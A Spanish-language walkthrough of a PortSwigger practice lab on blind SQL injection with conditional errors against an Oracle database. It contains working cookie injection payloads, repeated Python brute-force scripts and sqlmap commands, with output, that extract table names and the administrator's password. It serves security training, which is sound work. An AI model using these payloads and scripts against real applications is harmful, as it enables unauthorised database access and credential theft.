Blind SQL injection with conditional errors
Laboratorio de Portswigger sobre SQLI
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio contiene una vulnerabilidad de Blind SQL Injection. La web utiliza una cookie de seguimiento para analíticas y realiza una consulta SQL que incluye el valor de la cookie enviada. Los resultados de la consulta SQL no se devuelven, sin embargo, si la consulta SQL genera un error, la aplicación devuelve un mensaje de error personalizado. La base de datos contiene una tabla diferente llamada users, con columnas llamadas username y password. Debemos explotar la Blind SQL Inyection para averiguar la contraseña del usuario administrador. Para resolver el laboratorio, hay que iniciar sesión como el usuario administrador
Guía de SQLI
Antes de completar este laboratorio es recomendable leerse esta guía de SQLI https://justice-reaper.github.io/posts/SQLI-Guide/
Resolución
Al acceder a la web nos sale esto
Si capturamos la petición a la web con Burpsuite vemos un campo llamado TrackingId
Si enviamos una petición normal a la web no notaremos nada extraño, sin embargo, si añadimos una ' al en el campo TrackingId nos arrojará un internal server error, esto quiere decir que podemos hemos logrado interferir en la consulta SQL que se está tramitando. Esto se debe a que la consulta que se está haciendo por detrás es la siguiente
1
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'
Si en el campo cookie efectuamos la inyección ' or 1=1-- - o ' and 1=1-- - ya no nos mostraría el internal server error debido a que la query se está ejecutando correctamente. Otra alternativa sería usar '|| (select '' from dual) ||', de esta forma evitamos comentar la query y estamos concatenando nuestra query con la existente. Para obtener el número de columnas existentes usamos un order by, en este caso sabemos que hay una columna, debido a que si hacemos order by 2 o superior nos arroja un error
1
Cookie: TrackingId=Fd4cX7VWOdC0tTy9'+order+by+1--+-+; session=XpgULc3syYJ6d1XZ2KtzCym9QtW2VDgn
Obtenemos el tipo de base de datos que se está empleando, la cual es Oracle, esto lo sabemos porque al debemos añadir from dual al final de la consulta para evitar errores
1
Cookie: TrackingId=Fd4cX7VWOdC0tTy9'+union+select+null+from+dual--+-+; session=XpgULc3syYJ6d1XZ2KtzCym9QtW2VDgn
He probado a verificar si había alguna diferencia entre usar or y and en consultas como ' or (select 'a' from dual)='b'-- - y no hay diferencia alguna. Independientemente del operador utilizado al comparar dos strings, da igual que no sean iguales, no nos arroja ningún error. Por lo tanto no vamos a poder utilizar substr(), o length() para obtener la longitud y posteriormente bruteforcear carácter por carácter
Debido a que no se produce ningún error, podemos usar esta query para provocarlo nosotros. Funciona de la siguiente forma, lo primero que comprueba es select from dual y si esa consulta es válida y no produce errores se dirige al case case when (1=1) then to_char(1/0) else '' end. En el case lo que hace es, en caso de que (1=1) sea cierto genere un error mediante to_char(1/0) y si no es cierto que se vaya a la parte del else y no genere ningún error. El nombre de la columna no es obligatorio en el SELECT cuando se utilizan expresiones como CASE, porque Oracle genera un alias automáticamente para la columna calculada
1
Cookie: TrackingId=mSNHzn6Uz17ftRBH'||+(select+case+when+(1=1)+then+to_char(1/0)+else+''+end+from+dual)+||'; session=JUBiNvas8e5LhVOxp3vSewIFA0Se9qsx
Una vez tenemos esta forma, ahora podemos listar la longitud de la versión, si enviamos este payload los devolverá un error, esto significa que está funcionando. Si cambiamos la condición > 1 por = 1 la web nos responderá con un 200 OK, esto es porque la consulta está bien formulada, de lo contrario nos devolvería un error en todas las ocasiones
1
Cookie: TrackingId=C5PhDxyLUgYK5wqP'||(select case when (length((select listagg(banner, ' ') within group (order by banner) from v$version)) > 1) then to_char(1/0) else null end from dual)||'; session=BMvtH2Wf9tGi7WdeVufBPzLwygoHxxPD
Identificamos que la longitud de la versión de Oracle es de 225 caracteres
1
Cookie: TrackingId=C5PhDxyLUgYK5wqP'||(select case when (length((select listagg(banner, ' ') within group (order by banner) from v$version)) = 225) then to_char(1/0) else null end from dual)||'; session=BMvtH2Wf9tGi7WdeVufBPzLwygoHxxPD
Con esta otra consulta podremos obtener la versión de Oracle, se puede hacer con un ataque Cluster bomb desde Burpsuite o mediante un script en python
1
Cookie: TrackingId=C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(banner, ' ') within group (order by banner) from v$version), 1, 1) = 'a') then to_char(1/0) else null end from dual)||'; session=BMvtH2Wf9tGi7WdeVufBPzLwygoHxxPD
Para poder dumpear datos vamos a utilizar todos los caracteres imprimibles de la librería string de python
1
2
3
4
5
6
7
8
(pythonProject) PS C:\Users\Sergio\PycharmProjects\pythonProject> python
Python 3.11.10 | packaged by Anaconda, Inc. | (main, Oct 3 2024, 07:22:26) [MSC v.1929 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import string
>>> dir (string)
['Formatter', 'Template', '_ChainMap', '__all__', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', '_re', '_sentinel_dict', '_string', 'ascii_letters', 'ascii_lowercase', 'ascii_uppercase', 'capwords', 'digits', 'hexdigits', 'octdigits', 'printable', 'punctuation', 'whitespace']
>>> string.printable
'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c'
Como vamos a iterar para a eliminar los caracteres que se repiten
1
2
3
4
5
6
#!/usr/bin/python3
import string
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
print(characters)
1
2
# python print_characters.py
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
Debido a que el Cluster bomb de Burpsuite no es tan cómodo usarlo, vamos a usar python para que nos dumpee el output completo de la instrucción version(). Lo primero que debemos hacer es instalar pwntools
1
2
3
4
# sudo apt-get update
# sudo apt-get install -y python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
# python3 -m pip install --upgrade pip --break-system-packages
# python3 -m pip install --upgrade pwntools --break-system-packages
He creado este script en python el cual nos permitirá bruteforcear carácter por carácter la versión de base de datos
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb, sys, string
def def_handler(sig,frame):
print("\n\n[!] Saliendo ...\n")
sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, def_handler)
url = "https://0a5e00cf03a81efd83b2324e003400fd.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
def makeRequest():
output = ""
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Output")
with open("output.txt", "w") as f:
for position in range(1, 226):
for character in characters:
cookies = {
'TrackingId': "C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(banner, ' ') within group (order by banner) from v$version), %d, 1) = '%s') then to_char(1/0) else null end from dual)||'" % (position, character),
'session': "BMvtH2Wf9tGi7WdeVufBPzLwygoHxxPD"
}
p1.status(cookies['TrackingId'][:150])
r = requests.get(url, cookies=cookies)
if r.status_code == 500:
output += character
f.write(character)
f.flush()
p2.status(output)
break
if __name__ == '__main__':
makeRequest()
Vemos que nos encontramos ante una base de datos de Oracle
1
2
3
# python sqli_conditional_error.py
[q] Fuerza bruta: C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(banner, ' ') within group (order by banner) from v$version), 225, 1) = 'n') then to_char(1
[p] Output: CORE%11%2%0%2%0%Production%NLSRTL%Version%11%2%0%2%0%%%Production%Oracle%Database%11g%Express%Edition%Release%11%2%0%2%0%%%64bit%Production%PL%SQL%Release%11%2%0%2%0%%%Production%TNS%for%Linux%%Version%11%2%0%2%0%%%Production
Para verlo más claramente podemos aplicar una sustitución
1
2
# echo 'CORE%11%2%0%2%0%Production%NLSRTL%Version%11%2%0%2%0%%%Production%Oracle%Database%11g%Express%Edition%Release%11%2%0%2%0%%%64bit%Production%PL%SQL%Release%11%2%0%2%0%%%Production%TNS%for%Linux%%Version%11%2%0%2%0%%%Production' | tr '%' ' '
CORE 11 2 0 2 0 Production NLSRTL Version 11 2 0 2 0 Production Oracle Database 11g Express Edition Release 11 2 0 2 0 64bit Production PL SQL Release 11 2 0 2 0 Production TNS for Linux Version 11 2 0 2 0 Production
Obtenemos el la longitud de todos los propietarios
1
Cookie: TrackingId=lnS9gSlm0CA61ePa'||(select case when (length((select listagg(owner, ' ') within group (order by owner) from all_tables)) = 422) then to_char(1/0) else null end from dual)||'; session=kozeaHyWxCxfjMUuZubvmHN0cIIi9ZTX
Vamos a utilizar este payload para obtener a los propietarios
1
Cookie: TrackingId=C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(owner, ' ') within group (order by owner) from all_tables), 1, 1) = 'a') then to_char(1/0) else null end from dual)||'; session=kozeaHyWxCxfjMUuZubvmHN0cIIi9ZTX
Vamos a usar este script para iterar sobre el payload anterior para obtener el nombre de todos los propietarios
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb, sys, string
def def_handler(sig,frame):
print("\n\n[!] Saliendo ...\n")
sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, def_handler)
url = "https://0a03001f0321a894846b408000610088.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
def makeRequest():
output = ""
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Output")
with open("output.txt", "w") as f:
for position in range(1, 423):
for character in characters:
cookies = {
'TrackingId': "C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(owner, ' ') within group (order by owner) from all_tables), %d, 1) = '%s') then to_char(1/0) else null end from dual)||'" % (position, character),
'session': "BMvtH2Wf9tGi7WdeVufBPzLwygoHxxPD"
}
p1.status(cookies['TrackingId'][:150])
r = requests.get(url, cookies=cookies)
if r.status_code == 500:
output += character
f.write(character)
f.flush()
p2.status(output)
break
if __name__ == '__main__':
makeRequest()
Ejecutamos el script y obtenemos todos los propietarios
1
2
3
# python sqli_conditional_error.py
[◐] Fuerza bruta: C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(owner, ' ') within group (order by owner) from all_tables), 1, 1) = '0') then to_char(1/0
[↗] Output: SYSTEM%SYSTEM%XDB%PETER%APEX_040000%MDSYS%XDB%XDB%SYS%SYSTEM%SYS%MDSYS%CTXSYS%SYS%APEX_040000%APEX_040000%CTXSYS%SYSTEM%SYS%CTXSYS%SYSTEM%SYSTEM%XDB%SYSTEM%SYSTEM%MDSYS%MDSYS%SYS%CTXSYS%MDSYS%XDB%SYS%MDSYS%SYS%MDSYS%CTXSYS%APEX_040000%PETER%APEX_040000%MDSYS%XDB%XDB%MDSYS%XDB%PETER%MDSYS%APEX_040000%XDB%SYS%SYS%XDB%APEX_040000%CTXSYS%SYS%SYSTEM%SYS%CTXSYS%CTXSYS%SYSTEM%CTXSYS%PETER%CTXSYS%XDB%XDB%APEX_040000%APEX_04000
Para que se vea más claramente vamos a sustituir el % por un salto de línea y vamos a eliminar los duplicados
1
2
3
4
5
6
7
8
echo 'SYSTEM%SYSTEM%XDB%PETER%APEX_040000%MDSYS%XDB%XDB%SYS%SYSTEM%SYS%MDSYS%CTXSYS%SYS%APEX_040000%APEX_040000%CTXSYS%SYSTEM%SYS%CTXSYS%SYSTEM%SYSTEM%XDB%SYSTEM%SYSTEM%MDSYS%MDSYS%SYS%CTXSYS%MDSYS%XDB%SYS%MDSYS%SYS%MDSYS%CTXSYS%APEX_040000%PETER%APEX_040000%MDSYS%XDB%XDB%MDSYS%XDB%PETER%MDSYS%APEX_040000%XDB%SYS%SYS%XDB%APEX_040000%CTXSYS%SYS%SYSTEM%SYS%CTXSYS%CTXSYS%SYSTEM%CTXSYS%PETER%CTXSYS%XDB%XDB%APEX_040000%APEX_040000' | tr '%' '\n' | sort -u
APEX_040000
CTXSYS
MDSYS
PETER
SYS
SYSTEM
XDB
Para identificar las tablas cuyo propietario es PETER, primero necesitamos obtener la longitud de estas tablas y para eso usamos este payload
1
Cookie: TrackingId=AVC3s45wGMdxye6i'||(select case when (length((select listagg(table_name, ' ') within group (order by table_name) from all_tables where owner = 'PETER')) > 1) then to_char(1/0) else null end from dual)||'; session=s9osfPyAvF5PKgpGMVedpIzes2eqKXSc
Obtenemos que la longitud es de 14 caracteres
1
Cookie: TrackingId=AVC3s45wGMdxye6i'||(select case when (length((select listagg(table_name, ' ') within group (order by table_name) from all_tables where owner = 'PETER')) = 14) then to_char(1/0) else null end from dual)||'; session=s9osfPyAvF5PKgpGMVedpIzes2eqKXSc
Vamos a usar ahora este otro payload para obtener los caracteres
1
Cookie: TrackingId=C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(table_name, ' ') within group (order by table_name) from all_tables where owner = 'PETER'), 1, 1) = 'a') then to_char(1/0) else null end from dual)||'; session=kozeaHyWxCxfjMUuZubvmHN0cIIi9ZTX
Este script de python itera sobre el payload anterior y nos devuelve el nombre de las tablas que tiene el usuario propietario PETER
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb, sys, string
def def_handler(sig,frame):
print("\n\n[!] Saliendo ...\n")
sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, def_handler)
url = "https://0a03001f0321a894846b408000610088.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
def makeRequest():
output = ""
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Output")
with open("output.txt", "w") as f:
for position in range(1, 15):
for character in characters:
cookies = {
'TrackingId': "C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(table_name, ' ') within group (order by table_name) from all_tables where owner = 'PETER'), %d, 1) = '%s') then to_char(1/0) else null end from dual)||'" % (position, character),
'session': "BMvtH2Wf9tGi7WdeVufBPzLwygoHxxPD"
}
p1.status(cookies['TrackingId'][:150])
r = requests.get(url, cookies=cookies)
if r.status_code == 500:
output += character
f.write(character)
f.flush()
p2.status(output)
break
if __name__ == '__main__':
makeRequest()
Obtenemos las tablas
1
2
3
# python sqli_conditional_error.py
[p] Fuerza bruta: C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(table_name, ' ') within group (order by table_name) from all_tables where owner = 'PETER'
[↖] Output: TRACKING%USERS
A continuación vamos a listar la longitud de las columnas de la tabla USERS cuyo propietario es PETER
1
Cookie: TrackingId=C5PhDxyLUgYK5wqP'||(select case when (length((select listagg(column_name, ' ') within group (order by column_name) from all_tab_columns where table_name = 'USERS' and owner = 'PETER')) > 1) then to_char(1/0) else null end from dual)||'; session=kozeaHyWxCxfjMUuZubvmHN0cIIi9ZTX
La longitud es de 23 caracteres
1
Cookie: TrackingId=AVC3s45wGMdxye6i'||(select case when (length((select listagg(column_name, ' ') within group (order by column_name) from all_tab_columns where table_name = 'USERS' and owner = 'PETER')) = 23) then to_char(1/0) else null end from dual)||'; session=s9osfPyAvF5PKgpGMVedpIzes2eqKXSc
Vamos a usar ahora este payload para obtener los caracteres
1
Cookie: TrackingId=C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(column_name, ' ') within group (order by column_name) from all_tab_columns where table_name = 'USERS' and owner = 'PETER'), 1, 1) = 'a') then to_char(1/0) else null end from dual)||'; session=kozeaHyWxCxfjMUuZubvmHN0cIIi9ZTX
Con este script en python iteramos sobre el payload anterior y obtenemos el nombre de las columnas
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb, sys, string
def def_handler(sig,frame):
print("\n\n[!] Saliendo ...\n")
sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, def_handler)
url = "https://0a9e000503c4fd2988837a8f00b100ba.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
def makeRequest():
output = ""
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Output")
with open("output.txt", "w") as f:
for position in range(1, 24):
for character in characters:
cookies = {
'TrackingId': "C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(column_name, ' ') within group (order by column_name) from all_tab_columns where table_name = 'USERS' and owner = 'PETER'), %d, 1) = '%s') then to_char(1/0) else null end from dual)||'" % (position, character),
'session': "BMvtH2Wf9tGi7WdeVufBPzLwygoHxxPD"
}
p1.status(cookies['TrackingId'][:150])
r = requests.get(url, cookies=cookies)
if r.status_code == 500:
output += character
f.write(character)
f.flush()
p2.status(output)
break
if __name__ == '__main__':
makeRequest()
Obtenemos las columnas
1
2
3
# python sqli_conditional_error.py
[▝] Fuerza bruta: C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(column_name, ' ') within group (order by column_name) from all_tab_columns where table_na
[█] Output: EMAIL%PASSWORD%USERNAME
Usamos este payload para obtener la longitud contenido de las columnas USERNAME y PASSWORD de la tabla USERS cuyo propietario es PETER
1
Cookie: TrackingId=tUTQzgBhjwUdED3A'||(select case when (length((select listagg(username || ':' || password, ' ') within group (order by username) from PETER.USERS)) > 1) then to_char(1/0) else null end from dual)||'; session=jfUUooip2oaljIAJ5cX97j7YkqBYCAfb
Obtenemos que 90 es la longitud
1
Cookie: TrackingId=tUTQzgBhjwUdED3A'||(select case when (length((select listagg(username || ':' || password, ' ') within group (order by username) from PETER.USERS)) = 90) then to_char(1/0) else null end from dual)||'; session=jfUUooip2oaljIAJ5cX97j7YkqBYCAfb
Usamos este payload para obtener los caracteres de las columnas
1
Cookie: TrackingId=tUTQzgBhjwUdED3A'||(select case when (substr((select listagg(username || ':' || password, ' ') within group (order by username) from PETER.USERS), 1, 1) = 'a') then to_char(1/0) else null end from dual)||'; session=jfUUooip2oaljIAJ5cX97j7YkqBYCAfb
Con este script vamos a iterar sobre el payload anterior para obtener el contenido de las columnas USERNAME y PASSWORD
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb, sys, string
def def_handler(sig,frame):
print("\n\n[!] Saliendo ...\n")
sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, def_handler)
url = "https://0a9e000503c4fd2988837a8f00b100ba.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
def makeRequest():
output = ""
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Output")
with open("output.txt", "w") as f:
for position in range(1, 91):
for character in characters:
cookies = {
'TrackingId': "C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(username || ':' || password, ' ') within group (order by username) from PETER.USERS), %d, 1) = '%s') then to_char(1/0) else null end from dual)||'" % (position, character),
'session': "BMvtH2Wf9tGi7WdeVufBPzLwygoHxxPD"
}
p1.status(cookies['TrackingId'][:150])
r = requests.get(url, cookies=cookies)
if r.status_code == 500:
output += character
f.write(character)
f.flush()
p2.status(output)
break
if __name__ == '__main__':
makeRequest()
Obtenemos los nombres de usuario y sus contraseñas
1
2
3
# python sqli_conditional_error.py
[o] Fuerza bruta: C5PhDxyLUgYK5wqP'||(select case when (substr((select listagg(username || ':' || password, ' ') within group (order by username) from PETER.USERS), 90, 1) = '9')
[┤] Output: administrator%o8o2ftyyxe50qjus5ekp%carlos%nd3ci79kfb08kv2i4azn%wiener%hwxs7o9pmdwyu3i1cf39
También podemos obtener las credenciales usando sqlmap, para ello, lo primero es listar a los propietarios
1
2
3
4
5
6
7
8
9
# sqlmap -u https://0a9c00870389b09e81a52afe00530034.web-security-academy.net/ --risk=3 --level=5 --random-agent --dbs --batch --cookie="TrackingId=lnS9gSlm0CA61ePa*; session=kozeaHyWxCxfjMUuZubvmHN0cIIi9ZTX" --threads 2
available databases [7]:
[*] "SYSTEM"
[*] APEX_040000
[*] CTXSYS
[*] MDSYS
[*] PETER
[*] SYS
[*] XDB
Listamos las tablas del propietario PETER
1
2
3
4
5
6
7
# sqlmap -u https://0a9c00870389b09e81a52afe00530034.web-security-academy.net/ --risk=3 --level=5 --random-agent --batch --cookie="TrackingId=lnS9gSlm0CA61ePa*; session=kozeaHyWxCxfjMUuZubvmHN0cIIi9ZTX" -D PETER --tables --threads 2
Database: PETER
[2 tables]
+----------+
| TRACKING |
| USERS |
+----------+
Listamos las columnas de la tabla USERS
1
2
3
4
5
6
7
8
9
10
11
# sqlmap -u https://0a9c00870389b09e81a52afe00530034.web-security-academy.net/ --risk=3 --level=5 --random-agent --batch --cookie="TrackingId=lnS9gSlm0CA61ePa*; session=kozeaHyWxCxfjMUuZubvmHN0cIIi9ZTX" -D PETER -T USERS --columns --threads 2
Database: PETER
Table: USERS
[3 columns]
+----------+----------+
| Column | Type |
+----------+----------+
| EMAIL | VARCHAR2 |
| PASSWORD | VARCHAR2 |
| USERNAME | VARCHAR2 |
+----------+----------+
Listamos el contenido de las columnas USERNAME y PASSWORD
1
2
3
4
5
6
7
8
9
10
11
# sqlmap -u https://0a9c00870389b09e81a52afe00530034.web-security-academy.net/ --risk=3 --level=5 --random-agent --batch --cookie="TrackingId=lnS9gSlm0CA61ePa*; session=kozeaHyWxCxfjMUuZubvmHN0cIIi9ZTX" -D PETER -T USERS -C USERNAME,PASSWORD --dump --threads 2
Database: PETER
Table: USERS
[3 entries]
+---------------+----------------------+
| USERNAME | PASSWORD |
+---------------+----------------------+
| administrator | xjuxt7s1x0qt838i0tg5 |
| wiener | q6l6ukh8q4a35mimkcdn |
| carlos | ya8sfgeqqbyr0a5ry95w |
+---------------+----------------------+
Nos logueamos con las credenciales de administrador




